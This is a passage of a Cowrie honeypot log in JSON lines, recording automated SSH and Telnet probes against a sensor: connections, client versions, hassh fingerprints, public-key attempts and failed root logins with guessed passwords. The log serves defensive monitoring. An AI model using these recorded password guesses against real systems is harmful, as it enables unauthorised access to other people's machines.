ha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:23:14.929217Z","src_ip":"62.133.62.83","session":"6928c99c4104","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qazqaz123","message":"login attempt [root/qazqaz123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:23:15.169754Z","src_ip":"62.133.62.83","session":"6928c99c4104","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:23:16.558632Z","src_ip":"62.133.62.83","session":"6928c99c4104","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.106.188.200","src_port":48660,"dst_ip":"159.203.135.109","dst_port":22,"session":"a29da8576a8f","protocol":"ssh","message":"New connection: 170.106.188.200:48660 (159.203.135.109:22) [session: a29da8576a8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:23:25.427604Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:23:25.431317Z","src_ip":"170.106.188.200","session":"a29da8576a8f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:23:25.499257Z","src_ip":"170.106.188.200","session":"a29da8576a8f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ABcd-1234","message":"login attempt [root/ABcd-1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:23:25.805727Z","src_ip":"170.106.188.200","session":"a29da8576a8f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:23:26.876611Z","src_ip":"170.106.188.200","session":"a29da8576a8f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.68.219","src_port":38220,"dst_ip":"159.203.135.109","dst_port":22,"session":"da5a7c736eea","protocol":"ssh","message":"New connection: 103.153.68.219:38220 (159.203.135.109:22) [session: da5a7c736eea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:23:41.264725Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:23:41.269079Z","src_ip":"103.153.68.219","session":"da5a7c736eea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:23:41.518525Z","src_ip":"103.153.68.219","session":"da5a7c736eea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.131.184.100","src_port":13394,"dst_ip":"10.17.0.5","dst_port":22,"session":"2a0135a1a9d2","protocol":"ssh","message":"New connection: 23.131.184.100:13394 (10.17.0.5:22) [session: 2a0135a1a9d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:23:41.918558Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:23:41.922899Z","src_ip":"23.131.184.100","session":"2a0135a1a9d2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:23:41.971578Z","src_ip":"23.131.184.100","session":"2a0135a1a9d2","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"85:9f:d3:7a:c6:32:5f:fd:ee:ef:77:8b:89:b7:31:f6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAzTF4I49Lnvvm8ZLQX4X+2UxpD94rX8958SHV7YCmebtWGuHiaZCWbXBOqMtIur3V21MkB3zm5kuf1PQA55AOqTucK4pc35GnDBPsJb2EP23bmNUqwtr9Zp+vcRKo5M3mFsWpCjdOF9PvHHmoep6QaM3g4jlzamrsO3lYzJ20rVNvljBSGUCFJ2Y3ad+5PSYF0jHzsVpYtR54elRdk6B3l1NolPVB/Y55lSXd5pmaYy6+ELiEuRGhR7VzfrS718Nr2wh9N9DomDPujg8dNpg4uCJF2LH/SdF28R5sgJ/pph/HLA165Rl7jlVaRTnRDWHlpPp/wZN1WbJPG17pxPFJ1Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 85:9f:d3:7a:c6:32:5f:fd:ee:ef:77:8b:89:b7:31:f6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:23:42.180943Z","src_ip":"23.131.184.100","session":"2a0135a1a9d2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"85:9f:d3:7a:c6:32:5f:fd:ee:ef:77:8b:89:b7:31:f6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAzTF4I49Lnvvm8ZLQX4X+2UxpD94rX8958SHV7YCmebtWGuHiaZCWbXBOqMtIur3V21MkB3zm5kuf1PQA55AOqTucK4pc35GnDBPsJb2EP23bmNUqwtr9Zp+vcRKo5M3mFsWpCjdOF9PvHHmoep6QaM3g4jlzamrsO3lYzJ20rVNvljBSGUCFJ2Y3ad+5PSYF0jHzsVpYtR54elRdk6B3l1NolPVB/Y55lSXd5pmaYy6+ELiEuRGhR7VzfrS718Nr2wh9N9DomDPujg8dNpg4uCJF2LH/SdF28R5sgJ/pph/HLA165Rl7jlVaRTnRDWHlpPp/wZN1WbJPG17pxPFJ1Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:23:42.184852Z","src_ip":"23.131.184.100","session":"2a0135a1a9d2","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"49:31:cb:a6:0d:3a:63:34:ce:15:b7:66:2f:37:bf:99","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBdaH7JjOTXp29ZeJpcLfr02ofCqEs2DaK/JqYn+sEc1","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 49:31:cb:a6:0d:3a:63:34:ce:15:b7:66:2f:37:bf:99","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:23:42.236008Z","src_ip":"23.131.184.100","session":"2a0135a1a9d2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"49:31:cb:a6:0d:3a:63:34:ce:15:b7:66:2f:37:bf:99","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBdaH7JjOTXp29ZeJpcLfr02ofCqEs2DaK/JqYn+sEc1","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:23:42.239600Z","src_ip":"23.131.184.100","session":"2a0135a1a9d2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"koroleva","message":"login attempt [root/koroleva] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:23:42.267170Z","src_ip":"103.153.68.219","session":"da5a7c736eea","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"22:0a:63:dc:e4:dc:14:b6:7b:44:bb:5b:31:c8:23:6c","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIEPIDF0Gx1ssQMLklWC7vKWbGDQiMTntXD2n+4JiWuwT","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 22:0a:63:dc:e4:dc:14:b6:7b:44:bb:5b:31:c8:23:6c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:23:42.287284Z","src_ip":"23.131.184.100","session":"2a0135a1a9d2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"22:0a:63:dc:e4:dc:14:b6:7b:44:bb:5b:31:c8:23:6c","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIEPIDF0Gx1ssQMLklWC7vKWbGDQiMTntXD2n+4JiWuwT","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:23:42.290947Z","src_ip":"23.131.184.100","session":"2a0135a1a9d2","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a5:f4:a8:ad:4a:a8:38:38:e0:9e:20:8b:0c:d6:5d:82","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHqnLwKRDjdAfkaoq8Xt2GyXmKzW3E2WwgIHsHobAoQV","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint a5:f4:a8:ad:4a:a8:38:38:e0:9e:20:8b:0c:d6:5d:82","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:23:42.336868Z","src_ip":"23.131.184.100","session":"2a0135a1a9d2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a5:f4:a8:ad:4a:a8:38:38:e0:9e:20:8b:0c:d6:5d:82","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHqnLwKRDjdAfkaoq8Xt2GyXmKzW3E2WwgIHsHobAoQV","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:23:42.339962Z","src_ip":"23.131.184.100","session":"2a0135a1a9d2","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f8:67:0b:cd:42:ce:92:d3:e2:76:49:c3:9f:d2:d2:f9","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILw7j+VbKRPtEjBGQI3ClpDqVEepvPx21eXd6SvcTNc+","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint f8:67:0b:cd:42:ce:92:d3:e2:76:49:c3:9f:d2:d2:f9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:23:42.386812Z","src_ip":"23.131.184.100","session":"2a0135a1a9d2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f8:67:0b:cd:42:ce:92:d3:e2:76:49:c3:9f:d2:d2:f9","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILw7j+VbKRPtEjBGQI3ClpDqVEepvPx21eXd6SvcTNc+","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:23:42.391363Z","src_ip":"23.131.184.100","session":"2a0135a1a9d2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:23:42.437607Z","src_ip":"23.131.184.100","session":"2a0135a1a9d2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.173.125.185","src_port":38896,"dst_ip":"159.203.135.109","dst_port":22,"session":"0dced7594e17","protocol":"ssh","message":"New connection: 43.173.125.185:38896 (159.203.135.109:22) [session: 0dced7594e17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:23:43.423200Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:23:43.426959Z","src_ip":"43.173.125.185","session":"0dced7594e17","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:23:43.495345Z","src_ip":"43.173.125.185","session":"0dced7594e17","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:23:43.519506Z","src_ip":"103.153.68.219","session":"da5a7c736eea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sistemas","message":"login attempt [root/sistemas] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:23:43.797839Z","src_ip":"43.173.125.185","session":"0dced7594e17","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:23:44.869169Z","src_ip":"43.173.125.185","session":"0dced7594e17","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.195.16.41","src_port":46704,"dst_ip":"159.203.135.109","dst_port":23,"session":"94d9835f5191","protocol":"telnet","message":"New connection: 186.195.16.41:46704 (159.203.135.109:23) [session: 94d9835f5191]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:23:49.064993Z"}
{"eventid":"cowrie.session.connect","src_ip":"59.31.223.24","src_port":36667,"dst_ip":"10.17.0.5","dst_port":23,"session":"24ac6c5f69be","protocol":"telnet","message":"New connection: 59.31.223.24:36667 (10.17.0.5:23) [session: 24ac6c5f69be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:23:56.993330Z"}
{"eventid":"cowrie.session.connect","src_ip":"178.83.200.3","src_port":60000,"dst_ip":"159.203.135.109","dst_port":23,"session":"9209b60b93a7","protocol":"telnet","message":"New connection: 178.83.200.3:60000 (159.203.135.109:23) [session: 9209b60b93a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:24:00.942827Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.173.125.185","src_port":44748,"dst_ip":"159.203.135.109","dst_port":22,"session":"0c421dc52082","protocol":"ssh","message":"New connection: 43.173.125.185:44748 (159.203.135.109:22) [session: 0c421dc52082]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:24:20.855351Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:24:20.863132Z","src_ip":"43.173.125.185","session":"0c421dc52082","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:24:20.936321Z","src_ip":"43.173.125.185","session":"0c421dc52082","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Q1w2e3r4@","message":"login attempt [root/Q1w2e3r4@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:24:21.241355Z","src_ip":"43.173.125.185","session":"0c421dc52082","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:24:22.312453Z","src_ip":"43.173.125.185","session":"0c421dc52082","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.91.246.101","src_port":44650,"dst_ip":"159.203.135.109","dst_port":22,"session":"a13ae81c6d53","protocol":"ssh","message":"New connection: 103.91.246.101:44650 (159.203.135.109:22) [session: a13ae81c6d53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:24:22.475330Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:24:22.479375Z","src_ip":"103.91.246.101","session":"a13ae81c6d53","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-s